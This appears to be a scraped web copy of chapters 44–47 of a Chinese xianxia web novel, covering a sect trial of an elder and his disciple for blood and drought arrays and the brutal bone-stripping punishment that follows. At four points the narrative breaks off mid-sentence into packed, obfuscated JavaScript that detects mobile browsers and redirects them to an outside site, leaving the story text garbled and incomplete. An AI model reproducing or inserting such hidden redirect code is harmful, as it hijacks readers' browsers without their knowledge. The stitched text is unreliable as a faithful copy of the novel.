藏元长老却是避开了这个问题,低头看着她肩上的伤口,覆手上去用法力替她止了血,叹了口气才道:“此事,就到三化殿中再议吧,善承和玄微已经在那边等着我们了。” 司月吟见他避而不答,心中更是恐慌。 藏元长老收回手,目光移向凝视着他的司青筠,忽然笑道:“你也算是出师了啊,青筠。” 司青筠平静答道:“不敢,跟你的狠厉程度比起来,我自愧不如。” 藏元长老对他的话没有显露出恼怒之色,只是对公仪岭他们温和道:“孩子大了,有自己的想法了。” 听着这两人之间的对话,公仪岭也没有吭声,像这样抱元门的门内之事,公仪岭本能觉得还是不插手为好。 司青筠低声反驳道:“过了三十年了,我也不是小孩了。” 藏元长老从容道:“罢了,先不说这些了,大家都先过去吧。” 公仪岭惊讶问道:“我们也要过去吗?” 藏元长老道:“仙家各宗门设三化会审,便是为了一个公允。从前审你们云灵山公仪正卿一案的时候,各家也未曾回避,没道理这次审抱元门有关案子的时候关起门来审。何况,加试历练的成绩也还没出,你们现在也走不了,不是吗?过去看看,也无妨。” 这么多天过去,公仪岭几乎都要忘记他们此行目的是完成历练加试,争一争仙考大会榜上名次了。 他东张西望看了一番其他人,才发现大家都是一副刚想起来的样子,于是说道:“其他弟子们也都到了吗?” 藏元长老一边拖着司青筠朝前走,一边说:“嗯,都来了。” 汉白玉广场外空空荡荡,三化殿里面却已经站满了人,公仪岭打眼往里面扫了一圈,顿时惊地说不出话来。 原先仙考聆听教诲的时候,倒也没这么多弟子。现在人满为患,原因无非是多了许多前来看热闹来的人,而这些人里面,公仪岭第一眼看见的就是两位站在最显眼位置的爹娘。 就连公仪岚也没想到他们会来,四目相对的那刻,愣愣地喊了一声:“爹、娘,你们已经出关了?怎么也来了?” 承悦欢欢喜喜上前请了安:“师父,师娘。” 公仪拓摆手免了他的请安,侧目扫了一圈周围的人,挑眉道:“这一次,可不只是我们来了。” 公仪岭一看,果然看见仙家中规模稍大的一些宗门的宗主与弟子基本都在场,也就一些名不见经传的小宗门没有派人前来,难怪这么多人凑在一块,宽阔如三化殿都显得拥挤起来。 公仪岚也意识到了,颇为无奈:“这也不是什么光彩的事情,怎么他们还真叫了这么多人来围观……” 公仪岭倒是能理解抱元门的用意:“藏元长老犯下这么大的过错,想不透风都难,与其遮遮掩掩藏着掖着,倒不如大大方方摆到明面上来审,还显得他们抱元门秉公无私,公正严明呢。” 沈熙华笑吟吟看着他:“我们家阿岭果真聪慧。你说得对,他们要是偷偷摸摸把这事审了,那才是人心尽失。想当初正卿的事情闹得那么大,现在沉冤得雪,也该有个说法。” 公仪岭本想着从抱元门考完回去再好好说道此事,却没想到他们早就知道了。当时把正卿带回去的时候,爹娘两个人还在闭关呢。 公仪岭惊讶道:“娘,你知道正卿的事情了?” 沈熙华点头道:“当年文耀被杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429911|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事情本就漏洞百出,我们还没给正卿找出证据,他就已经上了仙家的通缉令。后山多出来一副棺椁,我们当然第一时间就发现了。随意找了个徒弟问了问,也就知道了你们下山除妖遇到正卿的事情了。” 公仪拓目光柔和看向沈熙华,温声道:“这件事说起来还是夫人心细,若非是察觉到玉佩异样,也就不能这么快发觉了。” 公仪岭顿时明白了,低头摸了摸腰间挂着的玉佩。 他们云灵山每个弟子在正式拜师入门后就会在腰间悬上一块玉佩,若是玉佩的主人遭难受伤或是意外身死,宗主那边都会有所感应,方便及时过去搭救、或是收尸。 只不过公仪拓事务繁忙,那个用于感应的法器就被交给了沈熙华看管,沈熙华也不负他期望,处理事情心细得体,从无纰漏。 公仪岚叹气道:“这旱阵恰好布在血阵所在的地方,天下哪有这么巧合的事情?我看藏元长老的样子,怕是早就猜到了旱阵是冲着他来的,只是不知道为何,三位长老还是将历练的地点选在了冀阳城,如果血阵被我们发现,岂不就……” 公仪拓笑道:“他们自然有他们的打算,我看藏元长老也不会因为这个就怨恨上司青筠,要是我带出来的弟子青出于蓝胜于蓝的话,心里多高兴啊。” 一家四口简单聊了几句闲话后,公仪岭才再度在人群里观察其他人。 他所认得出来的便是太微山齐家的宗主齐阳羽,也就是齐元白兄妹的父亲。只因齐阳羽生得一双狭长眼眸,故而模样看起来十分凌厉,叫人不敢轻易靠近。虽然只是远远站着,但公仪岭仍能感觉到其不怒自威的气场。 齐阳羽正慢条斯理地盘问着齐元白这几日仙考和历练的过程,公仪岭没怎么听清,不过从齐元白憋得通红的脸颊来看,他这会儿应该很紧张……好在齐元白的娘亲是个温和的性子,齐元白答不上来的时候在旁边劝了夫君几句,才叫齐元白松了口气。 另一边紫阳宗的宗主燕修远则正在与宗门几个弟子吹嘘着自己年轻时候仙考的战绩,不管说得多么离谱,燕煦泽和燕蓉也只是在旁边沉稳地听着,不发表自己的见解,显然已经对此习以为常。 燕修远指了指公仪拓在的方向,得意道:“年轻时候,仙考大会我一只手就拿下公仪拓这老小子,说起来还真是怀念啊……” 这就奇了,虽然没亲眼见过他爹和燕宗主交手,但再怎么说,也不该被燕宗主一只手拿下才是。 公仪岭向自家爹投去一个疑惑的目光,后者面不改色道:“当年我们都是比剑的,我拿下他哪里需要两只手?” 于是公仪岭心中了然。不再去听燕宗主的光辉事迹,看向了六弦阁那边。 六弦阁音修的宗主纪怀风,这会儿也到场了,一群宗门子弟正围着他汇报成果,只是纪银灵却一个人站在角落,没有加入进去,静静地看着他们一群人热闹。 公仪岭颇为奇怪,纪银灵虽然只是六弦阁中一个普通弟子,但光凭实力也不该被冷落在一旁,那些弟子们别说与她交流,甚至连个打招呼的人都没有,难不成是纪银灵自己嫌吵闹,退到旁边的? 正想着这事,三化殿上善承长老微微抬手,旁边的仙侍就敲了一下旁边的铃铛,朗声道:“肃静——” 想必是会审要开始了,公仪岭立刻正色起来,朝三化殿中央跪着的人看去。 44. 镇魂三十载 何论是与非(三) 司月吟原本也随着他们站在三化殿中央,在仙侍敲完铃铛以后,被其他抱元门的弟子拉到了一旁。大家都默契地往两边退了退,留给了藏元长老和司青筠一个相对宽敞的空间。 即便是身处这样的场面,藏元依旧处之泰然,坦然自若地立在大殿中。 按照惯例,三化殿会审的时候,罪人都该跪在大殿中央听候发落,但这么久以来,今日这样会审长老的情况还是第一次出现。 司青筠站在藏元旁边,见他迟迟没有跪下,微微皱眉,迟疑了片刻后,还是挺直了脊背,屈膝跪了下去。 藏元瞥了他一眼,没有说话。 玄微打破僵局,率先开口:“藏元师兄,既是会审,站着总不像个样子。” 藏元笑道:“即便我犯了滔天罪行,只要在这抱元门一日,我也便还是三位长老之一,在抱元门这么多年下来,没有功劳也有苦劳,玄微何必出此言,非要我跪不可呢?” 善承点了点头,对他说的话没有提出异议:“无妨,站着便站着吧。” 藏元凝视了他片刻,道:“多谢。” 玄微深吸了口气,转头对善承说道:“进入正题吧。” 听到他们准备开始了,公仪岭直了直身子,抬眼对上了善承的目光。 善承看着公仪岭,缓缓开口道:“前几日,你们破解了冀阳城里的旱阵,并且发现这旱阵实则是我门中弟子司青筠布下的,对否?” 公仪岭肃然道:“正是。” “从我们布雨阵失败,司青筠给我们几人下毒,到传送到青花谷的阵法出现问题的时候,我便开始对他起了疑心,直到后面找到百人冢才完全确定。”公仪岭将这几件事说出,又对一旁青花谷宗主道,“下毒这件事,孟宗主可以作证。” 孟长歌意味深长地与他对视一眼,悠悠答道:“确有此事。” 公仪岭继续道:“破完旱阵以后,我画了阵法,将所有人送回了百人冢里,在里面发现了打算破血阵的司青筠。” “洞中他被我偷袭得手,控制住他了以后,我们一番对峙下来,司青筠已经承认了旱阵是他布下的。” 公仪岭说罢就退下了,善承长老看向司青筠,问道:“青筠,公仪岭说的这些,你可认?” 跪着的司青筠低了低头,镇定道:“我认。” 玄微长老皱眉,问道:“那冀阳城闹饥荒的问题呢?几个月前暗中高价收粮的人也是你?” 司青筠面色不改,坦然道:“是我。” 他承认地痛快,也不见得有什么后悔的神情,玄微就怒道:“你这孽徒!抱元门悉心栽培你这么多年,就是让你做出这样事情的吗?” 听到玄微指责,司青筠才微微变了脸色,冷声道:“这其中原委,想必几位长老都很清楚。至于藏元所做的事情……我自是不必再赘述一次。这场会审,我看重心还是放在他身上吧?” 玄微虽然知道他这么做的缘由,但好歹是自己亲手栽培的好苗子,见到他这般,心中还是难免火气过盛。 藏元听见他把矛头对准了自己,斥责道:“……你!我教导了你这么多年,怎把你教成如今这样!你便是再憎恨我,也不该害死这么多无辜的人啊!” 司青云冷冷看了他一眼:“什么样的师父,就会教出来什么样的徒弟,要说狠毒,我又如何能跟你相比?” 他们师徒二人这么互相指责,大殿上的其他人自是一句话也不好插嘴,只得由善承出面,眼神示意藏元平静下来,又问司青筠道:“司青筠,我且问你,你收来的那些粮食,现在在何处?” 司青筠头都没抬,说了一个地点:“所有我收来的粮食都放在那边,被我用结界和障眼法掩了起来,你们给冀阳送去,饥荒问题自然迎刃而解。” 玄微恨铁不成钢:“你倒是想的轻松!事情闹得这么大,也不知消息是如何被透露出去的,现在冀阳满城都在传是抱元门的人做的此事,你说,我们要如何处罚你才能够给冀阳百姓们一个交代?” 司青筠毫不畏惧,从地上站起了身,拂了拂身上沾染的灰尘,满不在乎地笑道:“要一个交代,那还不容易?我以死谢罪,你们对外就说我一人所为,也省得给抱元门抹黑。” 善承听到他这么说,顿了顿才道:“……没想到,你是这样想的。” 司青筠道:“藏元是藏元,抱元门是抱元门。我自然不会因为他做的事情迁怒到整个宗门,此事追根究底,是我们两人之间的恩怨,没必要因为我害得抱元门也一起遭世人谩骂。” 善承点了点头,看向藏元:“那好,司青筠的事暂且不说。藏元,那你且说说血阵之事吧。” 司月吟一直在旁边等着藏元的说法,此时更是急得不行,连忙道:“师父,血阵之事一定与你无关,对不对?” 藏元侧了侧脸,看向司月吟的目光中多了些抱歉之意:“是我让你失望了,月吟。” “师父!” 其他宗主并不是抱元门的人,只听人囫囵说了个大概就赶了过来,有的甚至还不知道藏元启用血祭阵法和百人冢的事情。听到藏元这么说,一时间三化殿内便嘈杂声一片,不少人都惊得开始私下讨论起来。 “血阵?什么血阵?” “莫非……是那惨无人道的禁忌法术?” 公仪岭清楚,善承和玄微两位长老都知道藏元启用血祭阵法的事情,如今这么故作不知地问,想必是他们几个早已商量好,牺牲藏元一个,保住其他两人不受影响了。 藏元将往事道出:“我与先城主算是少年相识,后来我进了宗门拜师,他则一路仕途顺畅,在我修习期间,也时常前去冀阳与他小酌怡情,我本以为这样的神仙日子,能够一直持续下去,谁知……” “战乱来得太快了,人间的帝王要统一中原,冀阳又对两国来说是个重要地界,先城主受命死守冀阳,抵抗了许久,几乎到了绝境。” “万不得已的情况下,他给我传了消息,希望我下山助他一臂之力。只是仙家早有规定,修士们都不能掺和人间的战乱,我因门规犹豫,最后只在城内外布下了一个阵法为他拖延了几日……却没想到,敌国将领以城中百姓性命相要挟,让他无奈之下与魔族合作,夺走了我的法力。” “有了法力,他守住了冀阳城。可魔族在此时却发难仙家……彼时我已经位高权重,又是大战的关键时候,若是被下面的弟子们知道法力尽失,后果不堪设想。所以,我才选择用了此等禁术,通过几百人血祭的办法恢复了法力。” 司青筠冷嗤一声:“失去法力,你修仙这么多年的努力都白费了,自然无法接受,何必找这些冠冕堂皇的理由?” “你说得没错,我当时的确无法接受。” 藏元没有反驳,面露悔意:“做完这件事后,我时常有悔,当初纵然有千万般苦衷,也不该因为好友背叛而被愤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429912|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怒蒙蔽,选择走了这条捷径。如果给我一些时间,或许我能够想出更好的办法,这样那几百人,也不必成为牺牲品了。” 话说到这份上,已经明了。 善承对藏元说道:“既然如此,藏元,血阵之事,你可还有什么需要辩解的?” 藏元面色平静:“没有。” 司月吟听着他前面说的话,每说一句,她的指尖就发白一分,心也一点一点沉了下去,直到听见这一句“没有”,终于撑不住跌坐在地,哽咽道:“师父,我一直都那么相信你啊……” 她说着说着,便有情绪崩溃之势。其他围观的人听到她说的话,也都沉默下来,一时间殿上变得鸦雀无声。 藏元无言以对,沉默许久才叹道:“月吟,是我的错。” 司月吟身子都在微微颤抖,眼眶含泪,翕动着唇,半天没说出一个字,最后竟直接夺门跑了出去。 “诶?”公仪岭见她出去,忧心忡忡道,“这打击也太大了,换谁肯定都受不住,司姑娘她不会出什么事情吧?” 公仪岚朝门口望了半天,直到司月吟人影消失在视线里,沉吟片刻道:“我出去找找吧。” 燕修远看够了戏,扯着嗓子问了一句:“善承长老,这两人犯下的事情,可都是罪大恶极,那你们……打算如何处置他们俩?” 齐阳羽眼眸微眯,语气咄咄逼人:“按门规处置的话,这两人犯的可都是死罪。不知善承长老,打算如何呢?” 齐阳羽这句话提醒了抱元门的弟子们,藏元和司青筠,不管哪个人,犯的都是死罪。抱元门的弟子们也都纷纷意识到了这一点,立刻就有人请求道:“藏元长老平日里对我们那么好,又对抱元门做了那么多事情,功过相抵,罪不至死啊!” 玄微重新坐回了正座上,对善承道:“善承,你看……” 善承还没开口,围观群众里又已经跪了不少抱元门的弟子。 其中一人替司青筠求情,抱拳恳求道:“善承长老,大师兄纵有不对,看在多年师徒情谊上,还请饶他一命吧!” 其余弟子们也都道:“大师兄平日里为人和善,与我们感情深厚,还请长老不要处死大师兄!” 玄微看着跪了一地的人,喝道:“一个个都跪着做什么?都起来!” 毕竟善承还没开口定罪,他们一帮人咬着牙坚持跪在地上不起来,善承轻叹了一声,说道:“你们师兄弟之间,倒是情深意重。” 藏元缓缓说道:“此事因我而起,若非我一念之差铸成大错,司青筠也不会家破人亡,用旱阵来找出血祭阵法。若是要处罚,便都降到我一人身上吧。” 司青筠皱眉,断然拒绝道:“要罚我就罚,用不着你替我受过!” 玄微几乎拍案而起:“……你这孽徒!” 下面公仪拓悄然对沈熙华和公仪岭道:“看吧,果然他们根本没想处死司青筠,要不然何至于掰扯这么久?” 公仪岭低声道:“司青筠看起来并不想领他们的情。” 藏元呵斥他道:“住口!你是我教导的,做错了事情,也是做师父的教导不力之过,我替你受过,有何不对?” 善承听他这么说,叹息道:“藏元说得不错,你身为长老首徒,没有教好你,我们三人都有不可推卸的责任。” 这时,大殿上一位女子开口道:“他们俩每个人都有苦衷,但也确实改变不了残害无辜的事实。” 45. 镇魂三十载 何论是与非(四) 公仪岭诧异地看着沈熙华,没想到母亲会在这时说话。 “但是。” 沈熙华表情沉静:“善承长老,藏元长老布下血阵此事,也有当时迫于形势的原因,其中缘由您和玄微两位长老最为清楚。抱元门的其他人既享着前人换来的安乐,又把过错都推给藏元一人承担,若说藏元长老罪该万死,难道其他人都能够独善其身?” 大殿上众人齐齐沉默。 沈熙华说的也是事实,若非当年抱元门长老布阵设局,打败了玄霄殿,又坐镇此地稳定人心,重振抱元门,抱元门哪里来的今日模样。 公仪拓见她发话了,想着不如卖他们个面子,递个台阶过去,说道:“他们二人功过皆有,我看不如留他们一命,日后将功抵过吧。” 众人又何尝看不出来云灵山是打算打个圆场,默契十足地看破不说破。 燕修远瞥了他一眼,冷哼道:“公仪宗主想要留他们一命,可以。只不过不知要怎么样的处罚,才能堵得住冀阳城的悠悠众口呢?” 孟长歌脸上虽是笑着,说出的话却让人直冒冷汗:“燕宗主又是在担心什么?光是我们青花谷折磨人的法子,就足以让人求生不得求死不能。仙家刑罚那么多,燕宗主何必有此担忧……说不定吃过一遍这些刑罚后,他们还觉得直接一刀来得痛快呢。” 他笑意不达眼底,从头到尾只是淡定地逗弄着手上的小小灵蛇,好像两人的命于他而言不过草芥,开口闭口只是一句话的事情,看得公仪岭毛骨悚然。 齐阳羽云淡风轻道:“孟宗主此言有理,死有什么困难的,痛苦地活着才更让人接受不能呢,只要抱元门对他们不心慈手软,自然能够平息冀阳的怒火。” “……” 善承目光沉沉,思量了许久,站起身对下面两人说道:“既然如此,念在往日功劳,便留你们一条性命。” “只是,”善承清了清嗓子,话锋一转,“你们都已经对自己做的事情供认不讳,死罪可免,活罪难逃,两个人罚肯定是要罚的。” 藏元敛目,低声道:“自然要罚。” 善承的目光移向他,说道:“藏元身为长老,犯下滔天大罪,即日起,便废去长老之位,逐出抱元门……藏元,平阴岛是个好去处,你便放心启程前去吧。” 话刚说完,下面弟子们便炸开了锅。 “什么?平阴岛?” “那样的地方,算什么好去处……当真有命回来吗?” “竟然用了这么重的刑罚么……” 仙家谁人不知平阴岛是什么地方?那里最初是一个荒无人烟的偏僻小岛,后被仙门以结界将它隔绝于世,用于围困住各家收服的妖邪之物,同时也是犯了错的仙人会被流放的地方。那边汇聚了各界最阴邪的妖魔鬼怪和各种穷凶极恶之人,乃是一个不祥之地。 公仪岭本以为司青筠才会被流放到平阴岛,却没想到最后是藏元长老去了那边。 藏元却像是意料之中,十分从容答道:“好。” “至于司青筠。” 善承默了默,继续道:“剃了他的仙骨,废了他的法力,将他囚于抱元门的禁室,永不再出吧。” 公仪岭震惊不已,孟长歌和齐阳羽则是露出了一个了然的笑容。 虽然留了他一条命,但是这样的处罚,当真是比直接一刀杀了还叫人痛苦。先是要承受剔骨之痛,辛苦修炼的法力也一朝被废,此生与一个废人又有何区别? 剔骨之痛犹如剜心,从前就有许多在剔骨过程中直接被活活痛死的仙人,何况司青筠还得被他们废除法力,能不能撑到回禁室都不好说,没准半道上就咽了气。 听到这样的处决,司青筠抬起头,面露释然,轻声道:“如此也好。” 处决已下,三化殿外的仙侍立刻就将两人带了下去。 见他们被押下去,公仪岭不由问道:“现在就要行刑了吗?” 公仪拓凝眉道:“是的。” 善承还没说退下,所以大家都站在原地没动。公仪岭又道:“我们要过去吗?” 沈熙华叹息道:“为了确保刑罚执行,是可以前去围观的。” 此时,不远处的燕修远朗声问道:“善承长老,不知司青筠被安排到在何处行刑呢?” 善承面上无悲无喜,淡声道:“诸位可自行前去上清峰刑台,半个时辰后,司青筠便会在那边行刑。” 善承长老说的这个地方,众人也都有所耳闻。上清峰是抱元门最闻名的三座山峰其一,因其山势陡峻,顶峰又设有刑台用于处罚犯事的仙人,所以平日里大家都敬而远之,没什么弟子会前去。 玄微也站起了身,负手对下面的公仪岭等人说道:“司青筠此去,能不能受住剔骨之刑还是个未知数,你们几人若是还有什么话要同他说,就抓紧时间吧。” 公仪岭心情沉重,道了一声:“好。”心里却隐隐觉得司青筠这一关恐怕是难过了。 其他人纷纷拱手,告辞离去。公仪拓刚抬脚欲走,回头见公仪岭没跟上来,又折了回去,问道:“阿岭,你不去吗?” 公仪岭觉得他们似乎忘了什么事情,就提醒父母道:“大哥刚刚出去追司姑娘了,现在怕是还不知道结果呢!我去寻一寻他们,司青筠毕竟是司姑娘的师兄,再怎么样这么多年也是有感情的,她总该在场才是……” 公仪拓点头道:“行,那你快点去把阿岚寻回,不要耽误了时辰。” 公仪岭目送他们离开,取下了玉佩,握在手中。 他对抱元门并不熟悉,更不知道司月吟会跑到什么地方去,想要找到他们,最快捷的方法便是利用龙凤佩了。 公仪岭感受着凤佩上逐渐温热的温度一路走,最后是在司月吟住的地方寻到了他们。 司月吟住的院落里也有一汪池水,她此时坐在那池塘旁边,时不时朝水里丢几颗石子,默然不语。 公仪岚则是守在她旁边,温和地宽慰她。他的余光忽然看见了公仪岭,才转过头惊讶道:“阿岭,你怎么来了?会审已经结束了吗?” 听到公仪岚的话,司月吟噌地一下站起身,转身定定地看着公仪岭,嘶哑着声音小心翼翼地问道:“……会审如何了?” 公仪岭一路上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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善承站在最前面,一直等着公仪岭将司月吟找来,此时听到了司月吟的声音,目光就落在了她身上,说道:“月吟,你还有什么话要对司青筠说的,现在便过去与他说吧。” 司月吟眉头紧锁,哑着声劝说道:“师父——师兄他在放走冀阳城魂魄的时候,就已经灵力受损,万不可再承受剔骨之刑啊!” 善承看着她,平静道:“不处以死刑已是格外开恩,他若不受此刑罚,如何给冀阳一个交代?如果司青筠没有撑过去,也是他命数如此。” 司月吟神色黯然,说道:“剔了仙骨的话,师兄就算不死,从此也是废人一个。师父,如果也将他流放到平阴岛,师兄或许还能有一线生机……” “胡闹!”玄微怫然道,“你当平阴岛是个什么好地方吗?他去到那边,定是连个骨头渣子都不剩!” 善承瞥了一眼远处地上坐落的巨大日冕。时间已经不多了,便没有再对她多解释什么,看着她说道:“月吟,我知道你与司青筠感情深厚,只是事情已成定局,无法更改。现在离行刑还有一刻钟,他一直在等你,你先过去吧。” 司月吟听到这里,目光投向刑台,正对上了司青筠凝望她的视线。 司青筠看起来十分虚弱,轻声道:“月吟,过来。” “师兄……我……” 公仪岭打量着司青筠的面色,几乎立刻就感觉他的状态非常不好,心中一惊,对旁边的司月吟说:“没时间了!司姑娘,你快去吧。” 46. 镇魂三十载 何论是与非(五) 司月吟没有多想,急匆匆朝着刑台奔去。而公仪岭和公仪岚为了不打扰他们,便在不远不近地地方等着。 即使司青筠陷入了这样窘迫的境地,在司月吟到他面前之后,他抬起头望着司月吟,唇角还是勾起了一个淡淡的笑容:“师妹,你来了。” 其实,司青筠一直觉得司月吟是个有点孤独的小女孩,在司青筠的印象中,司月吟刚会走路,豆苗大点人的时候,就一直跟在他身后了。 不知为何,三位长老这么多年也只有司青筠这一位直系弟子,直到司永丰和崔如钰夫妇请求他们教导司月吟,司月吟这才成了三位长老的第二个弟子。一开始,他还对长老殿内多了个这个名义上是宗主之女的师妹感到有些不太习惯,好在,司月吟话不太多、性子沉静,在司青筠这边已然是当作妹妹一般的存在,即便是心中有恨,但也不会因此转移到司月吟身上,故而这些年,他也待这个师妹极好。 多年过去,也只有在此刻自己跪着、他需要仰头看她的时候,司青筠才意识到,司月吟已经不知不觉中长大成人了。 司月吟屈身蹲下,忍着泪道:“师兄。” 司青筠偏头,似是想要将她现在的模样烙进脑子里,打量了她许久,才道:“师妹,你长高了。” 司月吟垂头道:“再过两个月,便是我的二十岁生辰了。” 司青筠怅然若失:“看来今后你的生辰,我怕是不能为你庆贺了。” 司月吟擦了擦眼角的泪,努力露出一个笑脸,道:“师兄你之前还说要给我备生辰礼,我猜你现在肯定还没准备呢吧?” 司青筠闻言微微挑眉:“谁说我没准备的?只是还没来得及给你而已。” 司月吟睁大了眼。 司青筠含笑道:“现下我也不能亲手给你了,还得劳你到时候去我房中书架下面的抽屉里找一找了。” 司月吟咬唇,感觉喉咙中像是哽了什么东西一样十分难受,艰难说了一声:“好。” 司青筠见她难受,微微仰头,低声道:“我做错了事情,这些都是我咎由自取,师妹不必挂怀,也不要因此与其他两位长老生了嫌隙才好。” 司月吟心情沉重,点了点头:“我明白。” “咳咳……咳咳咳。” 司青筠突如其来一阵咳嗽,咳了许久,脸色也是越发差了,几乎惨白如纸。 司月吟意识到了这点,不由伸手去扣住他的脉,片刻后惊道:“师兄,你的灵力——” 来之前她就已经做了心理准备,知道司青筠状态不佳,但没想到他竟然虚弱成这样。 司青筠静静道:“没剩多少了,月吟。我知道以自己现在的状况,恐怕难以撑过剔骨之刑,你不必为我难过。” “怎么可能不难过!”司月吟红着眼眶,“你是我的师兄,我视你为至亲至信之人啊!” 她有些语无伦次:“肯定还有别的办法的,长老没有处死你,一定是因为还念着旧情,我去求他们,肯定还有别的办法的……” 司青筠见她这般模样,想要像从前一样将手放到她的头上安慰她,却因为捆仙链无法伸出手,无奈出言制止道:“没有其他办法的,月吟。长老如此做已是格外开恩,哪怕是为了冀阳城百姓,这一切也都是我应当承受的。” 司月吟沉默不语,她知道难以改变,只是自己还无法接受,仍抱着一丝渺小的期望罢了。 公仪岭紧紧盯着刑台旁边的日冕,看着上面的的光影随着时间过去缓慢移动,马上这一刻钟就要过去,忍不住出声提醒司月吟:“司姑娘,快到时间了。” 司青筠也听到了公仪岭的话,转过头对他说道:“公仪岭,还是谢谢你最后知道真相后还愿意帮我。” 公仪岭本以为他与自己之间应当没什么话可说,突然听到这句话微微愣神,反应过来他说的是结界之事,就回道:“我可不是帮你,我对你又没什么好感,只是帮一下那些被先城主无辜牵连的人而已。” “君子论迹不论心。”司青筠如是说道。 随后又对面前的人轻声说道:“月吟,你下去吧,这场面恐污了你的眼睛,你不要看。” “师兄——” 时辰已到,善承长老叹息一声,缓缓踱步上前,将手放在司月吟的肩头,道:“月吟,时辰到了,你先下去吧。” “善承师父……” 司月吟哪里肯走,最后还是公仪岭看不下去,趁她不备取出一张符纸定住了她,让公仪岚将她带了下去。 公仪岭做完这事,对司青筠道:“这回就不必谢我了。” 司青筠不语。善承瞥了公仪岭一眼,下令让他离开。 行刑开始之前,为了不伤到围观群众,长老们都会设一个仙障将人群隔绝开。 公仪岭刚退至人群中,面前一尺的距离就已经覆盖上了仙障,他试探性伸手想要触碰,手刚碰到就被弹开。 善承法力高深,设下的仙障他们自然是碰不得的。 整个上清峰的上空中一下子暗了下来,猛然间狂风大作,乌云滚滚。隆隆的雷声响彻着公仪岭的耳膜,一下比一下更为炸裂,刺激地他不由捂住了耳朵。 戒律阁的仙侍一直在旁边等候,直到善承对他们点了一下头,便将手中的一份卷轴展开,将上面陈述的司青筠的罪状又高声宣读了一遍,随后就宣布道:“开始行刑。” 自抱元门建立以来,在上清峰刑台上被判行剔骨之刑的弟子不过寥寥几人,司青筠在此生活的几十年里,也从未亲眼见过。 疼是一定的,如果他运气好的话,在这过程里痛得昏死过去,或许就感觉不到了。 司青筠默然想着,面色依旧平静无波。 四根捆仙链被牢牢绑在东南西北的四角石柱上,每一根石柱上都雕镌了密密麻麻的团花纹样,柱子底下还刻了各种复杂的铭文和咒诀相互呼应,自上而下看去,便形成了一个古 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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司青筠身上血流如注,口中也呕出了不少鲜血,顺着刑台上的镌刻的花纹纹路自中心朝外蔓延开来,形成了一副诡谲而艳丽的画面。 剔仙骨的过程痛苦又漫长,每一下都像是把他的心脏剜出来一样。若是他还有灵力护体,也许还能勉强忍受这种痛苦,只可惜,他周身的大半灵力早已用在了冀阳城里,如今不过才过了十分钟,司青筠就已经奄奄一息,连一个完整的词语都说不出来了。 这十分钟里他无数次差点儿昏死过去,却又被法力强行迫使他清醒过来。 到了这份上,司青筠只盼着自己快些死,也好少受些折磨。他试图用所剩不多的法力自我了断,却发现捆仙链锁住了他的法力,让他一点法力都使不出来,只能眼睁睁看着它们从自己的身体中一点点流失、消磨、直到完全泯灭。 47. 镇魂三十载 何论是与非(六) 公仪岭察觉到他企图动用法力自我了断的行径,拧眉道:“连我都知道在被捆仙链锁住的情况无法使用法力,越是使用,反而会自我反噬地越严重,身体感受到的痛苦也会加倍。” 公仪岚道:“司青筠是想快点解脱,才会如此,只是他当真心里没有一点想要活下去的念头了吗?” 结界外几人紧紧盯着司青筠,焦灼地等待着刑罚结束。 司月吟从未见过这样如烂泥般倒在刑台上的司青筠,在她的印象里,不论何时,司青筠都是一直能够让她仰望的存在。她只看了一眼,便捂着脸小声啜泣起来。 司青筠的脸上沾满了血污,指尖颤抖着想要在台子上支撑起自己的身体,无奈他的身体即便是轻微移动半分,也会感到锥心刺骨的疼痛。 身体不受他的控制,可是司青筠的思绪十分清晰,五感被无限放大,让他几乎能够听得清周围所有人的话语,看得到司月吟脸上的泪痕,也感受得到自己的仙骨已经被一节节震碎。不管他今日能不能活着走下刑台,他的仙途反正是已经走到头了。 这一切变换被司青筠归结为临死前的回光返照,他尝试了好几次想要靠着这点精力爬起来,不过没能成功,只能作罢。眼前忽然出现一人,走到台子边上站定,司青筠勉强抬起脸,沙哑又缓慢道:“……师……父……” 善承长老垂眸,静静道:“如果你不想死的话,我劝你不要乱动。” 司青筠努力弯了弯嘴角,却只能扯出一丝苦笑,什么话也没说。 他还能说什么呢?他就连痛苦的呻吟都已经无力出声。他连强撑着一口气想从地上爬起来给自己留有一点体面都做不到。不过是片刻的清醒,很快他就感觉意识逐渐模糊,眼睛逐渐失焦,天与地都开始离他而去。 公仪岭在结界外略微松了口气,现在看来刑罚是结束了,司青筠这样也算是撑过去了吧?如此也好,这样司月吟也不至于太过悲伤,人活着对她来说也是个好消息了。 司月吟也听见了他说的那两个字,悬着的心这才勉强放松了些,祈祷着司青筠能够撑住。 依照规矩,在刑罚结束后,善承长老就会撤掉设立的仙障,在结界外准备的仙侍在这时候就会走到两人旁边,把奄奄一息的司青筠带到戒律阁禁室里面。 